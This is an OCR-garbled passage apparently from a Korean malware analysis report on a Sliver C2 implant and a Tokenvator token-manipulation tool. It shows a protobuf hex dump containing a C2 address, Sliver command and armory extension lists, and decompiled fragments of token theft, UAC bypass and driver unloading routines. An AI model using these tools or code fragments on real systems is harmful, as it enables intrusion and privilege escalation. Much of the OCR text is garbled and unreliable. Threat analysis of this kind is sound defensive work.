00000040: 53 4B 54 4F 50 2D 49 31 2D 2D 2D 2D 41 1A 24 36 SKTOP-I1----A.$6
00000050: 36 61 33 34 64 30 30 2D 35 38 62 36 2D 61 35 36 6a34d00-58b6-aSh)
00000B6O: 63 2D 30 66 35 38 2D 64 64 65 33 30 38 65 32 34 c-0f58-dde3D8e24
00000B70: 66 39 36 22 17 44 45 53 4B 54 4F 50 2D 49 31 2D 96" .DESKTOP-I1-
00000080: 2D 2D 2D 41 S5C 77 69 6E 2D 2D 2D 2D 2A 2D 53 2D ---A\win----*-S-
00000090: 31 2D 35 2D 32 31 2D 34 32 34 30 30 37 31 39 39 1-5-21-424007199
00000OAO: 37 2D 33 31 36 32 38 37 33 36 38 38 2D 39 31 35 7-3162873688-915
00000OBO: 36 33 38 33 32 33 2D 31 30 30 30 32 2C 53 2D 31 638323-10002,5-1
000000CO: 2D 35 2D 32 31 2D 34 32 34 35 31 30 30 39 39 37 -5-21-4245100997
000000DO: 2D 33 31 36 32 38 37 33 36 38 38 2D 39 31 35 36 -3162873688-9156)
OOOOOOEO: 33 38 33 32 33 2D 35 31 33 3A 07 77 69 6E 64 6F 38323-513:.windo
O000BOFO: 77 73 42 05 61 6D 64 36 34 48 E4 OE 52 3B 43 3A wsB.amd64H. .R;C:
00000100: S5C 55 73 65 72 73 5C 77 69 6E 2D 2D 2D 2D 5C 44 \Users\win----\D
00000110: 65 73 6B 74 6F 70 5C 73 61 6D 70 6C 65 5C 6D 6F esktop\sample\mo
00000120: 64 SF 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2E 62 69 d_----------- .b1
00000130: 6E SF 2D 2D 2D 2D 2D 2D 2D SA 1D 6D 74 6C 73 3A n_------- Z.mtls:
00000140: 2F 2F 68 2D 6E 77 68 61 2E 74 2D 66 63 61 2E 63 //h-nwha.t-fca.c
00000150: 6F 2E 75 6B 3A 34 34 33 62 15 31 30 20 62 75 69 0.uk:443b.10 bui
00000160: 6C 64 20 31 30 32 37 32 20 78 38 36 SF 36 34 68 1d 10272 x86_64h
00000170: 80 BO 9D C2 DF 01 82 01 24 35 63 30 30 30 31 64 ........ $5c0001d
00000180: 34 2D 32 39 32 65 2D 34 38 62 39 2D 38 30 34 31 4-292e-48b9-8041
00000190: 2D 63 30 63 33 64 33 30 32 62 66 34 39 88 01 F4 -cOc3d302bf49. ..
000001A0: A9 FF CC AF E6 B7 AE E2 01 92 01 05 6B 6F 2D 4B ............ ko-K
000001BO: 52 28 4C R(L

Figure 47. Sliver Protobuf Of|A|
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44

0| ENEEE] AJZY Z
@ ¥ sliverpb_register 435 bytes 0x00000000 0x000001B2
%l field_Ba_name 1 byte 0x00000000 0x00000000
X instanceid_size 1 byte 0x00000001 0x00000001
@ » instanceid 36 bytes 0x00000002 0x00000025
-4 field_10_num 1 byte 0x00000026 0x00000026
@ » interval 6 bytes 0x00000027 0x0000002C
= field_18_num 1 byte 0x0000002D 0x0000002D
b4 > jitter 5 bytes 0x0000002E 0x00000032
b4 » unknown_1 3 bytes 0x00000033 0x00000035
-4 field_0a_2_name 1 byte 0x00000036 0x00000036
@ slivername_size 1 byte 0x00000037 0x00000037
@ slvername 4 bytes 0x00000038 0x0000003B
b4 field_12_hostname 1 byte 0x0000003C 0x0000003C
f hostname_size 1 byte 0x0000003D 0x0000003D
@ » hostname 15 bytes 0x00000B3E 0x0000004C
= field_la_uvid 1 byte 0x0000004D 0x0000004D
b4 vuid_size 1 byte 0x0000004E 0x0000BB4E
Bl » uuid 36 bytes 0x0000004F 0x00000072
f field_22_username 1 byte 0x00000073 0x00000073
@ username_size 1 byte 0x00000074 0x00000074
@ » username 23 bytes 0x00000075 0x0000008B
b4 field_2a_uid 1 byte 0x0000008C 0x0000008C
b4 vid_size 1 byte 0x0000008D 0x0000008D
-4 > uid 45 bytes 0x0000BO8E 0x000006BA
[T field_32_gid 1 byte 0x000000BB 0x000000BB
= gid_size 1 byte 0x000006BC 0x000006BC
[ > gid 44 bytes 0x000006BD 0x00000OE8
-4 field_3a_os 1 byte 0x0000BBET 0x0000BBET
@ os_size 1 byte 0x00B0BBEA 0x00B0BBEA
= > o0s 7 bytes 0x0000OBEB 0x000000F1
b4 field_42_arch 1 byte 0x000000F2 0x000000F2
b4 arch_size 1 byte 0x0000BOF3 0x0000BOF3
-4 » arch 5 bytes 0x00000OF4 0x00000OF8
-4 field_48_pid 1 byte 0x0000BOF9 0x0000BOF9
= pid 2 bytes 0x0000BBFA 0x000000FB
b4 field_52_filename 1 byte 0x000006FC 0x00000BFC
f filename_len 1 byte 0x00000BFD 0x00B00OFD
-4 » filename 59 bytes 0x0000BOFE 0x00000138
= field_Sa_activec?2 1 byte 0x00000139 0x00000139
f active_c2_len 1 byte 0x0000013A 0x0000013A
b4 » active_c2 29 bytes 0x0000013B 0x00000157
] field_62_version 1 byte 0x00000158 0x00000158
@ version_len 1 byte 0x00000159 0x00000159
@ » version 21 bytes 0x0000015A 0x0000016E
§ field_68_reconnectinterval 1 byte 0x0000016F 0x0000016F
b4 » reconnectinterval 6 bytes 0x00000170 0x00000175
-4 field_0182_configid 2 bytes 0x00000176 0x00000177
= configid_len 1 byte 0x00000178 0x00000178
% » configid 36 bytes 0x00000179 0x0000019C
—E field_0188_peerid 2 bytes 0x0000019D 0x0000019E
= » peerid 10 bytes 0x0000019F 0x000001A8
b4 field_0192_locale 2 bytes 0x000001A9 0x000001AA
b4 locale_len 1 byte 0x000001AB 0x000001AB
¥ » locale 5 bytes 0x000001AC 0x000001BO
b footer 2 bytes 0x000001B1 0x000001B2

Figure 48. Sliver Protobuf &g gt




sliver > help
Commands:

clear the screen

exit the shell
use 'help [command]' for command help

monitor
wg-config
wg-portfwd
wg-socks

Generic:

aliases
armory
background
beacons
builders
canaries
cursed

dns

env
generate
hosts

http

https
implants
jobs
licenses
loot

mtls
prelude-operator
profiles
reaction
regenerate
sessions
settings
stage-listener
tasks
update

use
version
websites

wg

Monitor threat intel platforms for Sliver implants

Generate a new WireGuard client config

List ports forwarded by the WireGuard tun interface

List socks servers listening on the WireGuard tun interface

List current aliases

Automatically download and install extensions/aliases
Background an active session

Manage beacons

List external builders

List previously generated canaries . ;
Chrome/electron post-exploitation tool kit (n -")==7.
Start a DNS listener

List environment variables

Generate an implant binary

Manage the database of hosts

Start an HTTP listener

Start an HTTPS listener

List implant builds

Job control

Open source licenses

Manage the server's loot store

Start an mTLS listener

Manage connection to Prelude's Operator
List existing profiles

Manage automatic reactions to events
Regenerate an implant

Session management

Manage client settings

Start a stager listener

Beacon task management

Check for updates

Switch the active session or beacon
Display version information

Host static content (used with HTTP C2)
Start a WireGuard listener

Figure 49. Sliver help E&0A
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Figure 50.m M4 3 MM HZE

Lons

ransport Remote Address Hostname Brname erating Systen Health

1inux/amd64

ion mtls test 3 (141ed4e87-dd3¢c-4593-b743-38a81218dad6)
info

Session ID: 141ede87-dd3c-4593-b743-38a81218dado
Name: mtls test 3
Hostname: virtual-machine
UuID: da3e0-9226-48e1-8e2f
Username:
UID: 1000
GID: 1600
78279
fnux
tnux -virtual-machine 5.19.8-46-generic
en-uUs
and6s
Active C2: mtls:/
Remote Address:
Proxy URL:
Reconnect Interval: 1n0s
First Contact: Wed Aug
Last Checkin: Wed Aug

> shell

This action \s bad OPSEC, are you an adult?

Walt approximately 10 seconds after exit, and press <enters
Opening shell tunnel (EOF to exlit)

Started remote shell with pld 78285

Figure 51. &E S20[AES| HE 3l shell A&
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cat, cd, chmod, chown, chtimes, close, download, execute, execute-shellcode,
extensions, getgid, getpid, getuid, ifconfig, info, interactive, Kill, Is, memfiles, mkdir,
msf, msf-inject, mv, netstat, ping, pivots, portfwd, procdump, ps, pwd, reconfig,
rename, rm, rportfwd, screenshot, shell, shikata-ga-nai, sideload, socks5, ssh,
terminate, upload, whoami

Dump file to stdout
Change directory
Change permissions on a file or directory
Change owner on a file or directory
chtimes Change access and modification times on a file (timestomp)
close Close an interactive session without killing the remote process
download Download a file
execute Execute a program on the remote system
execute-shellcode Executes the given shellcode in the sliver process
extensions Manage extensions
getgid Get session process GID
getpid Get session pid
getuid Get session process UID
ifconfig View network interface configurations
info Get info about session
interactive Task a beacon to open an interactive session (Beacon only)
kill Kill a session
s List current directory
memfiles List current memfiles
mkdir Make a directory
msf Execute an MSF payload in the current process
msf-inject Inject an MSF payload into a process
mv Move or rename a file
netstat Print network connection information
ping Send round trip message to implant (does not use ICMP)
pivots List pivots for active session
portfwd In-band TCP port forwarding
procdump Dump process memory
ps List remote processes
pwd Print working directory
reconfig Reconfigure the active beacon/session
rename Rename the active beacon/session
rm Remove a file or directory
rportfwd reverse port forwardings
screenshot Take a screenshot
shell Start an interactive shell
shikata-ga-nai Polymorphic binary shellcode encoder (/ ° a° )./ ~ fEAHAEW
sideload Load and execute a shared object (shared library/DLL) in a remote process
socks5 In-band SOCKS5 Proxy
ssh Run a SSH command on a remote host
terminate Terminate a process on the remote system
upload Upload a file
whoami Get session user execution context

Figure 52. HME H2304
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Sliver = armory g48& &4l 3rd-party & X[t}

bof-roast, bof-servicemove, c2tc-addmachineaccount, c2tc-askcreds, c2tc-domaininfo,
c2tc-kerberoast, c2tc-kerbhash, c2tc-klist, c2tc-lapsdump, c2tc-petitpotam, c2tc-psc,
c2tc-psk, c2tc-psm, c2tc-psw, c2te-psx, c2tc-smbinfo, c2tc-spray-ad, c2tc-
startwebclient, c2tc-wdtoggle, c2tc-winver, chisel, chromiumkeydump, coff-loader, coff-
loader, credman, delegationbof, find-module, find-proc-handle, go-cookie-monster,
handlekatz, hashdump, hollow, inject-amsi-bypass, inject-clipboard, inject-conhost, inject-
createremotethread, inject-ctray, inject-dde, inject-etw-bypass, inject-kernelcallbacktable,
inject-ntcreatethread, inject-ntqueueapcthread, inject-setthreadcontext, inject-svectrl,
inject-tooltip, inject-uxsubclassinfo, inline-execute-assembly, jump-psexec, jump-
wmiexec, kerbrute, Idapsigncheck, mimikatz, nanodump, nanorobeus, patchit, portbender,
raw-keylogger, remote-adcs-request, remote-adcs_request_on_behalf, remote-adduser,
remote-addusertogroup, remote-chrome-key, remote-enable-user, remote-get_priv,
remote-ghost_task, remote-global_unprotect, remote-lastpass, remote-make_token_cert,
remote-office-tokens, remote-procdump, remote-process-destroy, remote-process-list-
handles, remote-reg-delete, remote-reg-save, remote-reg-set, remote-sc-config, remote-
sc-create, remote-sc-delete, remote-sc-description, remote-sc-start, remote-sc-stop,
remote-sc_failure, remote-schtasks-delete, remote-schtasks-stop, remote-
schtaskscreate, remote-schtasksrun, remote-setuserpass, remote-shspawnas, remote-
slackKey, remote-slack_cookie, remote-suspendresume, remote-unexpireuser, sa-adcs-
enum, sa-adcs-enum-com, sa-adcs-enum-com?2, sa-adv-audit-policies, sa-arp, sa-cacls,
sa-dir, sa-driversigs, sa-enum-filter-driver, sa-enum-local-sessions, sa-env, sa-find-
loaded-module, sa-get-netsession, sa-get-netsession2, sa-get-password-policy, sa-
ipconfig, sa-ldapsearch, sa-list_firewall_rules, sa-listdns, sa-listmods, sa-locale, sa-
netgroup, sa-netlocalgroup, sa-netlocalgroup?, sa-netloggedon, sa-netloggedon?2, sa-
netshares, sa-netstat, sa-nettime, sa-netuptime, sa-netuser, sa-netuserenum, sa-netview,
sa-notepad, sa-nslookup, sa-probe, sa-reg-query, sa-regsession, sa-routeprint, sa-sc-
enum, sa-sc-qc, sa-sc-gdescription, sa-sc-qgfailure, sa-sc-qgtriggerinfo, sa-sc-query, sa-
schtasksenum, sa-schtasksquery, sa-tasklist, sa-uptime, sa-vssenum, sa-whoami, sa-
windowlist, sa-wmi-query, scshell, secinject, syscalls_shinject, tgtdelegation, threadless-
inject, unhook-bof, winrm

certify, krbrelayup, mlokit, nps, rubeus, seatbelt, sharp-hound-3, sharp-hound-4, sharp-
smbexec, sharp-wmi, sharpchrome, sharpdpapi, sharpersist, sharplaps, sharpmapexec,
sharprdp, sharpsccm, sharpsecdump, sharpsh, sharpup, sharpview, sglrecon
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sliver

? Install 22 aliases
Installing alias
Installing alias
Installing alias
Installing alias
Installing alias
Installing alias
Installing alias
Installing alias
Installing alias
Installing alias
Installing alias
Installing alias
Installing alias
Installing alias
Installing alias
Installing alias
Installing alias
Installing alias
Installing alias
Installing alias
Installing alias
Installing alias
Installing

extension

> armory install all

and 151 extensions?
'SharpRDP' (v0.0.1)
'sqlrecon' (v3.8.0)
'Sharpview' (v0.0.1)
'Sharp SMBExec' (v0.0.3)
'sharpsh' (v0.0.1) done!
'SharpDPAPI' (v0.0.4) done!
'mlokit' (v0.0.1) done!
'SharpMapExec' (v0.0.1)
'SharpChrome' (v0.0.4)
'Rubeus' (v0.0.25)
'SharpLAPS' (v0.0.1)
'SharpSCCM' (v2.0.12)
'SharpSecDump' (v0.0.1)
'Sharp WMI' (v0.0.2)
'SharpHound v4' (v0.0.2)
'NoPowerShell' (v0.0.2)
'KrbRelayuUp' (v0.0.2)
'Seatbelt' (v0.0.6)
'Sharp Hound 3' (v0.0.2)
'SharPersist' (v0.0.2)
'Sharpup' (v0.0.2)
'"Certify' (v0.0.4)
'winrm' (v0.0.1)

done!
done!
done!
done!

done!
done!
done!
done!
done!
done!
done!
done!
done!
done!
done!
done!
done!
done!
done!
done!

Figure 53. 3rd-party X

Figure 54. 3rd-party &t 2[AE
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Figure 55. 3rd-party D2 = 2|AE

50



Stage 3. Tokenvator
- toke.jpg

- TokenvatorO|H, RIES EZS AME%H ot 45 E AA E40|CL

- MD5: AO6D733COES5BAFDB01471877F22F5E4

o 0g
= o a06d733c0e55b4fdb01471877f22f5ed.vir
IHe EF File size NEZL e AE
PE32 v 325.00 KiB 00400000 0045291e [
i =il FHZe S ECIAQE | m#A SAE AILA || >]VirusTotal
& MIME P Visualization | | SO 214 HtA | SEHNERN | Y Extractor || 1 VARA
[j J LHELZI | [£I2FRRI || 2laA || e NET | [£i:TS | |E 20|
M AMZHET AT o1orA 22 (=
0003 [ 2025-02-23 00:48:47 00058000 &Manifest OHE
21 or|of Qc ORI A o3
AtsH 2 v LE 2HE 1386 25
v PE32
Operation system: Windows (95) [I1386, 32H|E, 2&] S ?
Linker: Microsoft Linker S ?
Language: MSIL/C# S ?
Library: .NET Framework (v4.0, CLR v4.0.30319) S ?
Protector: Confuser (1.X) S ?
(Heur) Malware: RAT [General signs] ) ?
(Heur) Protection: Obfuscation [CLR constructor + Ctrl flow + Math mutations + Watermark] S ?
(Heur) Protection: Anti analysis [Anti-debug] S ?
(Heur) Packer: Generic [RunPE] S ?

Figure 56. M= M=
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Confuser = H=ot=|0] A0 =t oK = dE 24

ol g Z== Lt 2t

HOFSHH, =%} ofid| = =elkl=

> toke
5 Program

nall args)

eam = Program

treamWriter streamWriter = new StreamWriter{memo

) (StreamReader streamReader = new StreamReader(memo

args).Split{ney

ekOrigin.

Figure 57. & dI0|H2| Main g
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( Token:
( Token:

( Token:

[T fCommand: cmd .
Enable_Priv ri ege: SelebugPrivi
Enable_Priv / 7015 /Priviles ebugPrivileg

52



SEA
e

=

ro

fuju

AMMEH ME 22 QIXHE Stream 0Off MESH, MainLoop 2 Run gf~E AT
e metojef Hel: [FEH] /Process:[command PID] /command:[process name]

=>» Steal_Token /Process: 16808 /command:cmd.exe

.console,.ReadLine<StringBuilder, Console

( InvalidOperationException)

Zero =

f (!MainLoop.

:("[-] Opening Pr ss Token Failed, 1ing Thread Toke

(kerne ; : (), 983551U,

Figure 59. MainLoop.Run gt ZE 5
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‘h'
(t2 == "help")

MainLoop.

i
(t2 == "info")

MainLoop nfo<obiect 7~
‘ " EEES e ect, =>(commandLineParsing, zero)

“runas” )

MainLoop._RunAshe - : ‘ —
—_— . ! , bool, vint=(commandLineParsing):

Figure 60. N

OOF
kU
N

°
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TEOA sfelel= FFO

rr

gdo]
exit
help
info
runas
whoami
history
getinfo
tasklist
sessions
terminate
getsystem
bypassuac
add_group
get_system
logon_user
clone_token
steal_token
list_filters
create_token
reverttoself
start_driver
unload_filter
runpowershell
delete_driver
detach_filter
add_privilege
install_driver
unfreeze_token
nuke_privileges
list_privileges
steal_pipe_token
uninstall_driver

St Zot
s &84
=5
ArEY =¥
EZ0| st BE =
AHAZES A8 2001 & TEMA A
TR A™el ALEXL 0|2
Z£ 23
E2 ME =3
I2NA BAE £
N HE &=
HAEE T2MHA B2
AAEN AN Aot 45 (get_system HHOL 5Y)

UAC <32
EZ O =7}

A|AE] A st

St A5 (getsystem HHOQF 5
EO2 AN HE =
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c IZEMA/MEE EE
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remove_privilege
sample_processes
enable_privilege
disable_privilege
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OpenProcessToken

geE S PID 2 OEEES €2 F  StartProcessAsUser,
CreateProcessWithLogonW &+E 0|83 Z2MAS MAHTICE
ommandLineParsing cLP, hToken)

(TokenManipulation tokenManipulation

= TokenManipulation{hToken))
i3

0 Il tokenManipulation.OpenThreadToker
. (“[-] Pro r Thread ID
0;

not cified”);

nManipulation.SetWorkingTokenToThreadToker

sToken{ cLP.

>(Winnt . JRITY_IMPERSONAT I ON_LEVEL .
nManipulation.SetWorkingTokenToNewToker

== 0 || tokenManipulation.l

enThreadToken<

M ("[-]1 P or Thread ID not cified
0;

nManipulation.SetWorkingTokenToT
nHanipulation.StartProce

processid

processid

Figure 63. openProcessToken ZE
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StartProce <T0, s . =( newProcess)

reate

Tokens.Create(

enpty str 1. Empty;
< r newProcess, out empt:
kingToken, newProcess, emnp

Figure 64. StartProcessAsUser 2=

phNewToken, name, arguments)

Zero != phNewToken ladvapi3a2, In {phNewToken))
("[-] Token Impersonation Failed’
< 199edOnUs

0;

0 ringBuilder,
Empty == name)

("[-] Unable to find file"):

thLogony
Winba

fF(Winba
. _INFORMAT | ON;
dvapi32 i , "0t k", Winbase.LOGON_FL!
tupinfo, 1t _INFORHATION ) )

CreateProc WithLogonW" );

d pre 0", pr INFORMAT I ON ., dwP
eated thread: 0", Pr INFORMATION. dwTh

Figure 65. CreateProcessWithLogonW ZE
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tokenInformation.SetWorkingTokenToSelf( );
hToken = tokenlInformation.GetWorkinaToken<
(“[+] Primi
tokenlnformation.GetTokenls

+] Impersonation Toke
cLP.GetData<

st Threads<
Threadls

: ("[+] Primary
tokenInformation.Get TokenGroups<u

{data)

tokenInformation.Get TokenSource<u
tokenlnénrmatinn. tTokenPrivileges<uint, int, StringBuilder,
tokenln%ormation. TokenOwner<
tDkEﬂIn%DrmatiDn. TokenPrimarye
tokenlnénrmatinn. 'Tm¥emDefauthai[i.
; . {n
Winnt._TOKEN_TYPE token_TYPE;

TokenInformation. Getk t <int, t s , string={hToken, out token_TYPE)
TokenInformation. <int, | s , string=(hToken ).

Figure 66. info BH0 8 A=
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(Winba

ATTRIBUTES, W 5 IRITY_ IMPERSONAT | ON_LEVEL .

should now a thread token in the prims

dentity.

Figure 69. history EZ0{ 43 A=
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hToken = tokenInformation.GetWorkingaToken<
My {(“[+] Prima
tokenInformation.Get Tokenllse

+] Impersonation Tokens

cLP.GetData<

. ("“[+] Prim:
tokenInformation.GetTokenGrou

{datﬁ)
tokenlnformation

tnhenln%nrmatinn Jint, int, StringBuilder,
tukenln%nrmatiun

tokenlnénrmation tTokenPrimaryGroup<u

tnkenln%armatinn

t, | ; , st > token_TYPE )
TokenInformation. <int, t . , string=(hToken);

Figure 70. getinfo EE0{ 3 =

omparer.Compare(

“Arch”, “UserName"”, “"MemlUsage" )

("#in", t12.ToArray

OOF
=l
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Figure 71. tasklist HEH
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ION_INFD = (wtsap

ON_ INFD. Ses

.Containsk

L Add(t6, (uint I0ON_INFD. Ses

enumerator =

> (enumerator. Hove

t? = enumerator.

mmandLineParsing cLP)

-] Unable to identify Pro

s Handle

Terminater

TerminatePr

OOF
kU
N

Figure 73. terminate E&N %
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ommandL i nePa g o hToken)

TokenlInformation. <uint, , int, StringBuilder, , st 1>(hToken, "SeDebugPrivilege”,
(t != )

) (TokenManipulation tokenManipulation = new TokenManipulation{hToken))

DebugPrivilege”, Winnt.TokenPrivil

Ilection. enumerator t : SSes. GetEnumerator

£ Inum) )

Opened {0}", num};

00|‘
kU
In

Figure 74. getsystem FE0{
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("[+] Notice: This no

1 (RestrictedToken restrictedToken

restrictedToken.BypassUAC<TO,

Windows|dentity.G ().
ons.

=t.

name =
=
enumerator

Use

.GetEnumerator( )

» (enumerator.MoveNext())
t2 = enumerator.

restrictedToken2.BypassUAC<

SetTokenGroup<TO, , B

token_GROUPS =

£y,
=( )
Y

Ntifs.
token_GROUPS. Initial

. ("#in[+] Attempting By
) (RestrictedToken restrictedToken2

>(CommandLineParsing cLP, hToken)

longer working on versions of Windows 10 =

= new RestrictedToken{hToken))

>{cLP. , CLP.

, |Enumerator<

ss with PID {0} ({1})", t2, tlt2])
ew RestrictedToken{hToken))

group, isSID)

(Ntifs.

{ 0 0 >(Winnt._SECURITY_IMPERSONAT |ON_LEYEL .

base.SetWorkingTokenToNewToken( );
TokenInformation tokenlnformation =
tokenInformation.Get TokenGroups<TO,

(T1 t =05 t

{

token_GROUPS.Groups[t].Sid =

token_GROUPS.Groups[t].Attributes =

{token_GROUPS.Groups[t].Sid);

}
token_GROUPS . Gro
(isSID ==

{ "Group: {0}

t

2
group.Contains( "tt"))
t [1 array = group.Split{new
t2 = array[0];
group = array[1]:

b

group =
}

: ("Group SI1D: {0}
token_GROUPS.GroupCount++;

(!CreateTokens.

token_GROUPS. Groups[token_GROUPS. GroupCo
w CreateTokens(t .hWorkingToken);
] text = Windowsl|dentity.
token_GROUPS = tokenlInformation.tokenGro
t3;

(ladvapia2. .hi

w Tokenlnformationg

< tokenInformation.tokenG

tokenInformation.t
tokenInformation.tokenGro

("S-1-5-21-258464558-

rkingToken,

.hWorkingToken);

=)
GroupCount; t++)

ps.Groups[t].Sid;

ps.Groups[t].

oKenir
Attributes;

3

= tokenlInformation.tokenGr

group);

[1{921x

sy NTAccount(t2, group).Translate(

“, group);

727-1010",

{ 92 D1l

token_GROUPS, (

<T2>("AdjustTokenGroups" );

tokenInformation.Get TokenGroups<TO,
(ta)

Figure 76. add_group &
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>( CommandLineParsing cLP, hToken)

1%
{ 'cLP.GetData<object, ¢ ; =>( "username”, out t))

tz = "
emnpty g 0
Winbase.LOG 4 _TYPE = Winbase.LOGON_TYPE.
f(t. ( I't.ToLower( ).Sts

empty )

( “User Logon” );
t.ToLower( ).StartsWith{"nt s
t =t.8 (new [] 1 92 }). <T0=( ).
Winbase,LOGON_TYPE.

V1 CE
| vice Logon”);

“NT AUTHORI

OOF
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Figure 77. logon_user EE0|
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t_ATTRIBUTES = wudfwdm.

(wudfwdm.

tion = new TokenlInformatio
tion.O 0CES (processid);
nation.
nation.
nation.Ge
nation.E , ,
nation.Ge enPr z , StringBuilder,
okenOwr

okenPr

ewT
ntdll.
cenlnforn

command = "cnd,e:

t[] { "Frame ID", "Instances "&ltitude”, "Filter Name
[1{ ’ '

-10}

tructures. _FILTER-INFORMAT | ON_CLA

. £ Inum)
fltlib. { U S C _FILTER_INFORMAT | ON_CLA [ , intPtr, ni
Filte < , r 2
(intPtr)

Figure 79. list_filters/list_filter_instances Y0 & =
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>(CommandLineParsing cLP, hToken)

na (CreateTokens createTok 3 new CreateTokens(hToken))

[]1 array = new [0];
t;
{cLP.GetData<object, | ) >( "groups”, it t))

array = t.Split{ney { "," }, StringSplitOptions.

(cLP.GetData<

>( "username”, out t2))

() ? ("[+] Reverted token to " + Windowsldentity.
"y

L
{ 'cLP.GetData<obje

‘ServiceName”,

viceName not set™)

“[-] Unable to connect to service controller”);
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>(CommandLineParsing cLP)

I
( !cLP.GetData<object, | . *>("filter”, out t))

("[-] Filter Mot Specified");

fltlib. rUr ity

Filter Unloaded" )

(-2147023

Privilege Mot Held (Probably SeLoadDriverPrivilege)");

(-2145452016 != t2)

("FilterUnload Failed: 0x{0}", t2.ToString("¥4"));

{(“[-] Filter does not have a detach routine");

>( CommandLineParsing cLP)

t = RunspaceFactory. | ()
t.0pen( );

¥ Runspacelnvoke(t )
Pipeline pipeline = t.CreatePipeline( )
pipeline.Commands.AddScript{cLP.
pipeline.Commands.Add( "Out-String” )
Collectio SObject> collection = pipeline. Invokel ).

0bject psobjec n collection)

s( psobject . ToString(

o
[g1]
[N

Figure 84. runpowershell EFE0{ &
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>( CommandLineParsing cLP)

t
{cLP.GetData<object, I , >( "servicename”, out t))

y PSExec(t))

c.0elete<l

(“[-] Unable to identify

OOF
kU
M

Figure 85. delete_driver g0
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>( CommandLineParsing cLP)

t;
(!cLP.GetData<object, bool, TO>("filter”, out t))

“[-]1 AFilter: Mot Specified");

.GetData<object, | 5 >("instance”, it t2))

stance: Mot Specified"):
(!cLP.GetData<object, bool, TO=(“volume”, out t3))
“[-]1 #Yolume: Mot Specified”);
td = fltlib.

(t4 == null)

“[+] Filter Detached"):

("[-] Privilege Not Held {Probably SeLoadDriverPrivilege)"):

(-2145452016 != t4)

(“FilterDetach Failed: 0x{0}", t4.ToString(

("[-] Filter does not have a detach routine");

Figure 86. detach_filter EE £ I=
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1 AddTokenPriv

num =

intPtr =

[ ] ﬁrra

{intPtr,

telnum]:

{data)
' { num
(data, intPtr,

0, num);

cievelOCT

>(T2[] result)

X).
Addre

Address |
EX_FAST_REF Data

TOKEN Base Addres:

PSEP_TOKEN_PRIYILEGES
Current P ent Value
Updated Present Value

Enabled
EnabledByDefault

Figure 87. add_privilege FZ0| 8 I=
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ice Path

Unable to connect to service controller™);

<StringBui lder,

(t7))

{("[-] Unable to locate service binary");

Full Path: " + t7);

(“[-] Unable to find service binary: {0}")

OOF
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Figure 88. install_driver d&0{
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i UnFreez

[]1 array = tt SendRe 0C byte, int , uint, str W byte[0],

i UnFreez (uint pid)

[1 ar f SendRecievel|0C

[1 result)

Of fset

Original Yalue @
Updated VYalue
band

{("[+] Token ReFrozen"):

{"[+] Token UnFroze

0%

o
<
4>

[o];
gl
n

Figure 89. unfreeze_token
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. GetTokenInformation -
Winnt. token_PRIYILEG (Winnt.

+] Enumerated {0} Privileges”, token_PRIYILEC

= TokenManipulation.
0;

Winnt. Priviles new Winnt.

1u,

Cont
Priv new Winnt. [1 { token_PRIVILEG

L]
i

privileg

.SetTokenPrivi

.SetTokenPrivile

OOI'
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Figure 90. nuke_privileges EZ0{ =
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1 GetTokenPrivi

[+#] Enumerating Token Privileg

ngToken, Winnt._TOKEN_INFORMATION_CLA

ietTokenInformation - 1 " + t.ToString

- P
(Winnt
Enumerated {0} Privileges”,

10,-45}
-45H

'.gJ:_ﬂt)J t2++)

.tokenPr
= [t2].

¢ Winnt.

hWorkinaToken,

rivilegeCheck

OOI'
kU
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Figure 91. list_privileges E&H %
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Thread thread =

NamedPipes. <T0, T1, T2, T3, T4, T5, T6, T7>(pipeName);

thread. s
NamedPipe

thread. Join{ );

NamedP ipe
(P

NamedPipes.Create(

hToken, command, arguments):

pipeName)

Pipeicc ulel” ryone”, Pipedc s, ntrolType.
¢ NamedPip ani pipeNane, rection. o onMode . H

o Pipe {0}", pipeName);

(t
ImpersonateNamedPipeClient™);
("[+] Impersonated Pipe {0}", pipeName);

(kernel
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I¢;
(cLP.GetData<

1 (PSExec

> Connect<h

>, Open<hbi

Unable to identify

privilege, Winnt.TokenPrivileges attribute)

5 t ( Privilege {0} == {1}", privilege, attribute);
Winnt. luid i H
( ladvapi32. (null, privilege, ref luid))

>( "LookupPrivilegeValue");

" [+] Recieved luid");
luid_AND_ATTRIBUTES = new Winnt.

nt Jattribute
token_PRIYILEGES = new Winnt.

Priv Count = 1U,
0 S = |uid_AND_ATTRIBUTES

Winnt. _PRIYILEGES2 efault{Winnt.
i stTokenPrivilege” )
t:
( ladvapi32. Ad (th hWorkingToken, fa , ref token_PRIVILEG

>(“AdjustTokenPrivileg

Adjusted Priv © {0}, privilege);
“, attribute);
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10,-40341,-20{2}
GetEnumerator

tor.Dispo

ktopACL.

0%
kU
[N

Figure 95. sample_processes &N 2=

", t4.ToString(

D_TYPE.

EE_OPERATION.N

DesktopaACL.

t5) != 0U)

etEntriesinAc|W”

newac|

[+] Added Evervone to DACL : , tF
handle, S H § , Des opAC CURITY_INFORMAT ION.

[+] &pplied DACL to Object

o
[g1]
[N

Figure 96. clear_desktop_acl EEH
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mmandL ineParsing cLP)

t:
f (!cLP.GetData<

|Enumerator<

t3 = enumers

enumerator.Dispose( )

Figure 97. find_user_processes E&N £ I=

GetTrustedlinstaller(string newProcess)
(“[+] Getting NT AUTHORI TVt

[+] Running {0}", Windowsldentity.
3 edinstaller”

5,0penProc T T 3y et Service sld<0bjectQuery, ManagementObjectCollection.

etPrimaryToken" );

tWorkingTokenTo

=(Winnt. CURITY_IMPE ATION_LEYEL.

‘DuplicateToken" );

>(newProcess))

“"DuplicateToken

Figure 98. gettrustedinstaller N £ F=
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>(CommandLineParsing cLP, hProcess)
{cLP. )

hProcess = kernel32.0f t ] shpi.Proc ecurityRights.
f( .Zero == hProcess)

r<string={ “0penPr

t =0
{kernel32. ; i|{hProcess, ref t))

: ("[+] Process Critical State: {0}", t)
kernel32. Har {hProcess):

)

1
¥

kernel32.

t = Activator.
Activator.Create nce(type :
ManagementScope managementScope = new (" M rootiticine2” )
managementScope., Connect( )

{ 'managementScope. )

ne("[-] Failed

ne(text + count.ToString() +
{ ManagementBaselbject managementBaselbject

t4 = {(T75){((object )managementBaselbject );

[1 array = new TG[2]:
ManagementObject managementObject = t4;
] text2 = "GetOwner”
[1 array2 = array;
managementObject . InvokeMethod{text2, array2):
{(!'t.Containskey({array[1] + “#" + array[0]).ToUpper{)))

L

t.add{(array[1] + "“##" + arrayv[0]).TolUpper{), ( I

{ ManagementException t5)
ng text3d = "[-] "

t6 = t5;
(text3 + ((t6 != null) ? t6.ToStrina()

Figure 100. sample_processes_wmi




mmandL i nePa

Specified: {0}", t)
t3 =
